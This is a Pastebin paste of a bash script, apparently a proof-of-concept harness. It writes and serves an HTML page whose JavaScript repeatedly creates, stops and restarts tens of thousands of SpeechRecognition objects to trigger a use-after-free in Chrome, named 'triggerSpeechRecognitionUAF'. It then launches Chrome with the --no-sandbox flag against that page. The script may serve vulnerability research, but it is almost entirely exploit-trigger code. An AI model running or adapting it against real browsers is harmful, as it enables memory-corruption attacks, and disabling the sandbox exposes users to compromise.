Advertisement
Sweetening

test.sh

Dec 19th, 2024
26
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.70 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Exit on error
  4. set -e
  5.  
  6. # Define variables
  7. WORKDIR="$HOME/speech_recognition"
  8. HTML_FILE="speech.html"
  9. PORT=6662
  10. CHROME_EXECUTABLE="/usr/bin/google-chrome" # Update if Chrome is installed elsewhere
  11.  
  12. # Check if Chrome is installed
  13. if ! command -v "$CHROME_EXECUTABLE" &>/dev/null; then
  14. echo "Google Chrome is not installed. Please install it and try again."
  15. exit 1
  16. fi
  17.  
  18. # Create the working directory
  19. mkdir -p "$WORKDIR"
  20.  
  21. # Create the HTML file
  22. cat > "$WORKDIR/$HTML_FILE" <<EOF
  23. <!DOCTYPE html>
  24. <html lang="en">
  25. <head>
  26. <meta charset="UTF-8">
  27. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  28. <title>SpeechRecognition</title>
  29. </head>
  30. <body>
  31. <h1>SpeechRecognition</h1>
  32. <button id="startButton">Start Speech Recognition</button>
  33.  
  34. <script>
  35. let recognizers = [];
  36.  
  37. function createSpeechRecognizers(count) {
  38. for (let i = 0; i < count; i++) {
  39. let recognition = new (window.SpeechRecognition || window.webkitSpeechRecognition)();
  40. recognizers.push(recognition);
  41.  
  42. recognition.lang = 'en-US';
  43. recognition.interimResults = false;
  44. recognition.maxAlternatives = 1;
  45.  
  46. recognition.onresult = function(event) {
  47. let transcript = event.results[0][0].transcript;
  48. console.log('Transcript from recognizer', i, ':', transcript);
  49. };
  50.  
  51. recognition.onerror = function(event) {
  52. console.error('Error in SpeechRecognition:', event.error);
  53. };
  54.  
  55. recognition.onend = function() {
  56. console.log('SpeechRecognition ended for instance:', i);
  57. };
  58.  
  59. recognition.start();
  60. setTimeout(() => {
  61. recognition.stop();
  62. recognizers.splice(recognizers.indexOf(recognition), 1);
  63. }, Math.random() * 200);
  64. }
  65. }
  66.  
  67. function triggerSpeechRecognitionUAF() {
  68. let totalRuns = 0;
  69. function deepCreateAndResume() {
  70. createSpeechRecognizers(50000);
  71. setTimeout(() => {
  72. recognizers.forEach((recognition, index) => {
  73. try {
  74. if (recognition && recognition.readyState === 0) {
  75. recognition.start();
  76. console.log('Trying to resume SpeechRecognition:', index);
  77. }
  78. } catch (e) {
  79. console.error('SpeechRecognition potential UAF:', e);
  80. }
  81. });
  82. }, 150);
  83.  
  84. totalRuns++;
  85. if (totalRuns < 100) {
  86. setTimeout(deepCreateAndResume, 100);
  87. }
  88. }
  89. deepCreateAndResume();
  90. }
  91.  
  92. document.getElementById('startButton').addEventListener('click', () => {
  93. triggerSpeechRecognitionUAF();
  94. });
  95. </script>
  96. </body>
  97. </html>
  98. EOF
  99.  
  100. # Navigate to the working directory
  101. cd "$WORKDIR"
  102.  
  103. # Start a Python HTTP server on the specified port in the background
  104. echo "Starting HTTP server at http://127.0.0.1:$PORT"
  105. python3 -m http.server "$PORT" &
  106.  
  107. # Save the server's PID
  108. SERVER_PID=$!
  109.  
  110. # Wait a moment for the server to start
  111. sleep 2
  112.  
  113. # Open Chrome with the specified URL and options
  114. echo "Opening Google Chrome..."
  115. "$CHROME_EXECUTABLE" --no-sandbox "http://127.0.0.1:$PORT/$HTML_FILE"
  116.  
  117. # Kill the server process when Chrome exits
  118. kill "$SERVER_PID"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement